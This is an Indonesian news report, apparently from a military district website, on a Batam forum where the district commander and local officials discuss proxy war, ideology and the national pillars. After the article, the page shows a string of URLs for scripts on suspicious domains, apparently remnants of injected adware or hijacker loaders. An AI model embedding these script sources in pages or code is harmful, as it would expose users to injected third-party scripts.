Dandim 0316/Batam Memberikan Wasbang Kepada Organisasi Kemasyarakatan

Kodim 0316/Batam, pukul 09.00 s/d 12.00 wib, di Lt III, Gedung I Hotel, Kec. Lubuk Baja, telah dilaksanakan forum dialog wawasan kebangsaan bagi Organisasi Kemasyarakatan seluruh Kota Batam, Hadir dalam acara Seminar Organisasi Kemasyarakatan, Dandim 0316/Batam, Letkol Inf Dwi Sasongko SE, Kakan Kesbangpol Kota Batam, Kakan Kementrian Agama Provinsi Kepri, Para Kasi Kesbangpol Kota Batam dan undangan lainnya.

Pada kesempatan itu Dandim 0316/Batam, Letkol inf Dwi Sasongko SE, menyampaikan diantaranya : “Perlu adanya kewaspadaan nasional dalam menghadapi proxy war, Indonesia ini sangat rumit karena didalam ilmu politik bangsa di dunia ini terdiri dari satu bangsa tapi di indonesia terdapat macam macam suku bangsa, sejak jaman dahulu dan banyak bahasa serta keragaman lainnya termasuk agama. Indonesia sejak jaman dulu menjadi incaran bangsa lain karena Indonesia terletak di garis katulistiwa yang mempunyai 2 (dua) cuaca dalam satu tahun yaitu musim penghujan dan musim kemarau, sehingga tanah nya sangat cocok untuk pertanian dengan berbagai tumbuhan dan tanaman persawahan, serta perkebunan dan juga hasil bumi yang melimpah. Hasil bumi di indonesia masih mempunyai cadangan minyak lebih dari 30 tahun ke depan sementara cadangan minyak bumi dunia hanya berkisar kurang lebih 15-20 tahun”.

Ada teori bahwa pertumbuhan penduduk di dunia semakin meningkat tentunya di butuhkan banyak energi alam yang besar, secara tidak langsung negara di dunia berusaha mencari sumber daya energi bumi yang besar juga, contohnya indonesia itu terbukti bahwa pernah di jajah selama 350 tahun untuk mengeruk hasil bumi dan lain-lain. Melihat perkembangan bangsa Indonesia saat ini dengan kemajuan teknologi, kekuatan kita dengan banyaknya suku bangsa dan agama dapat menjadi kekuatan dan juga menjadi penghancuran bangsa itu sendiri.

Tren perang sekarang adalah perang Proxy war, dengan cara mempengaruhi berbagai lini termasuk ekonom, politik, sosial dan juga budaya. Proxy di indonesia sekarang terkait dengan bidang teroris, sarana, narkoba, ideologi dan masih banyak lagi. Menyikapi dengan adanya semua itu, kita harus mewaspadi media sosial (medsos) dan juga harus mewaspadai munculnya ideologi yang menyimpang dari Pancasila sehingga generasi muda kita kedepannya akan lebih baik dari generasi saat sekarang, tutur Dandim.

Pada kesempatan itu Kepala Kantor Kesbangpol Provinsi Kepri, menyampaikan,  Pilar-pilar kebangsaan adalah sebagai tiang penyangga yang berisi konsep dan nilai-nilai yang dianut oleh rakyat, negara, bangsa yang bersangkutan dan diyakini mempunyai kekuatan untuk di pergunakan sebagian landasan dalam hidup bermasyarakat berbangsa dan ber negara. Tantangan yang harus di hadapi saat ini adalah pengaruh globalisasi, konflik sosial, pergaulan bebas dan narkoba. Pilar-pilar
kebangsaan antara lain adalah Pancasila, UUD 1945, NKRI, Bhineka Tunggal Ika harus dipahami oleh penyelenggara negara bersama seluruh masyarakat sebagai panduan untuk kehidupan berpolitik pemerintahan, menegakkan hukum, mengatur per-ekonomian, interaksi sosial kemasyarakatan dan lain-lain.

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=30https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Iklan

Komentar ditutup.